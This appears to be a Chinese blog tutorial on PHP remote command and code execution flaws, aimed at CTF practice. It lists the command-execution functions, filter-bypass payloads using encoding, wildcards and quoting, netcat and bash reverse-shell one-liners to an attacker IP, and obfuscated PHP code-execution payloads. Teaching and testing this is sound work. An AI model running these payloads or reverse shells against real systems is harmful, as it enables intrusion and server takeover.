天天看點

遠端指令/代碼執行漏洞(RCE)總結介紹PHP指令執行函數指令執行的一些繞過技巧PHP代碼執行函數

介紹

Command Injection,即指令注入,是指通過送出惡意構造的參數破壞指令語句結構,進而達到執行惡意指令的目的。PHP指令注入攻擊漏洞是PHP應用程式中常見的腳本漏洞之一。

當應用需要調用一些外部程式去處理内容的情況下,就會用到一些執行系統指令的函數。如PHP中的system,exec,shell_exec等,當使用者可以控制指令執行函數中的參數時,将可注入惡意系統指令到正常指令中,造成指令執行攻擊。

漏洞危害

    繼承Web伺服器程式的權限,去執行系統指令

    繼承Web伺服器程式的權限,讀寫檔案

    反彈shell

    控制整個網站

    甚至控制整個伺服器

PHP指令執行函數

1. system() :

原型:string system ( string $command [, int &$return_var ] )

與passthru的基本相同,但是system傳回結果并且輸出。(檢視system和pssthru的傳回值可以看出)

2. shell_exec():

shell_exec — 通過 shell 環境執行指令 ( 這就意味着這個方法隻能在 linux 或 mac os的shell環境中運作 ),并且将完整的輸出以字元串的方式傳回。如果執行過程中發生錯誤或者程序不産生輸出,則傳回 NULL。

是反撇号 (`) 操作符的變體.

3. exec():

原型:string exec ( string $command [, array &$output [, int &$return_var ]] )

exec執行command指令,但是不會輸出全部結果,而是傳回結果的最後一行,如果你想得到全部的結果,可以使用第二個參數,讓其輸出到一個數組,數組的每一個記錄代表了輸出的每一行,如果輸出結果有10行,則數組就有10條記錄。是以如果你需要反複輸出調用不同系統外部指令的結果,你最好在輸出每一條系統外部指令結果時清空這個數組,以防混亂。第三個參數用來取得指令執行的狀态碼,通常執行成功都是傳回0

4. passthru():

原型:void passthru ( string $command [, int &$return_var ] )

與exec的差別:passthru直接将結果輸出,不傳回結果,不用使用echo檢視結果。

指令執行的一些繞過技巧

空格被繞過

< 、<>、%09(tab鍵)、%20、$IFS$9、$IFS$1、${IFS}、$IFS等,還可以用{} 比如 {cat,flag}
           

關鍵字繞過

1.URL編碼繞過

關于

$_SERVER['QUERY_STRING']

,他驗證的時候是不會進行url解碼的,但是在GET的時候則會進行url解碼,是以我們隻需要将關鍵詞進行url編碼就能繞過。

2.Base64編碼繞過

echo MTIzCg==|base64 -d    其将會列印123         //MTIzCg==是123的base64編碼
echo "Y2F0IC9mbGFn"|base64 -d|bash      将執行了cat /flag        //Y2F0IC9mbGFn是cat /flag的base64編碼
echo "bHM="|base64 -d|sh               将執行ls
           

3.Hex編碼繞過

echo "636174202f666c6167"|xxd -r -p|bash     将執行cat /flag
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67")         執行cat /flag
{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|$0       執行cat /flag
           

4.Oct編碼繞過

$(printf "\154\163")       執行ls
           

5.偶讀拼接繞過

?ip=127.0.0.1;a=l;b=s;$a$b
?ip=127.0.0.1;a=fl;b=ag;cat /$a$b;
           

6.内聯執行繞過

echo "a`pwd`"          #輸出a/root
?ip=127.0.0.1;cat$IFS$9`ls`
           

7.引号繞過

ca""t  =>  cat
mo""re  =>  more  
in""dex  =>  index
ph""p  =>  php
           

8.通配符繞過

假設flag在/flag中:
/?url=127.0.0.1|ca""t%09/fla?
/?url=127.0.0.1|ca""t%09/fla*
    
假設flag在/flag.txt中:
/?url=127.0.0.1|ca""t%09/fla????
/?url=127.0.0.1|ca""t%09/fla*
    
假設flag在/flags/flag.txt中:
/?url=127.0.0.1|ca""t%09/fla??/fla????
/?url=127.0.0.1|ca""t%09/fla*/fla*
           

9.反斜杠繞過

ca\t  =>  cat
mo\re  =>  more  
in\dex  =>  index
ph\p  =>  php
n\l  =>  nl
           

10.[]比對繞過

c[a]t  =>  cat
mo[r]e  =>  more  
in[d]ex  =>  index
p[h]p  =>  php
           

無回顯的指令執行

NetCat 一句話反彈Shell

擷取shell(想反彈誰的shell就在誰的後面加

-e /bin/sh

-e /bin/bash

來進行重定向)

**正向shell:**用戶端主動連接配接伺服器并擷取伺服器shell

用戶端主動連接配接并得到反彈shell	
	nc 服務端ip 8888
服務端監聽連接配接
	nc -Lvp 8888 -e /bin/sh 
	# windows上:nc -lvp 8888 -e c:\windows\system32\cmd.exe 
           

**反向shell:**伺服器端連接配接并反彈shell給用戶端

用戶端監聽
nc -Lvp 8888 
服務端連接配接用戶端
nc 用戶端ip 8888 -e /bin/sh 
# windows上:nc ip 8888 -e c:\windows\system32\cmd.exe 
           

Bash反彈shell

攻擊機

nc -lvp 2333
           

受害機

bash -i >& /dev/tcp/192.168.146.129/2333 0>&1
           

PHP代碼執行函數

代碼執行漏洞與指令執行漏洞具有相通性。

利用系統函數實作指令執行,在php下,允許指令執行的函數有:

eval()、assert()、preg_replace()、**${}**等等,以後遇到在繼續補充。

如果頁面中存在這些函數并且對于使用者的輸入沒有做嚴格的過濾,那麼就可能造成遠端指令執行漏洞。

注意: ${}執行代碼(在 雙引号 中倘若有${}出現,那麼{}内的内容将被當做php代碼塊來執行。)

方法:${php代碼}

題目:eval($_GET['m'])

1.  ${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo                       

  //${_GET}{%ff}();&%ff=phpinfo       $a=${a} $array[0]=$array{0}     php>5

2.  (~%8F%97%8F%96%91%99%90)();               php>7(解析小括号内)

3.無參函數的RCE:

payload:eval(hex2bin(session_id(session_start())));    PHP<7較穩定

注:異或/取反部分隻能是像函數名這樣的字元串

#輸出text取反并url編碼
def test1(text):
     result = ''
     for i in text:
          temp = hex(int(ord(i))^0xff)
          temp = str(temp).replace('0x','%')
          result += temp
     print(result)
           

參考:遠端指令/代碼執行漏洞(RCE)總結

RCE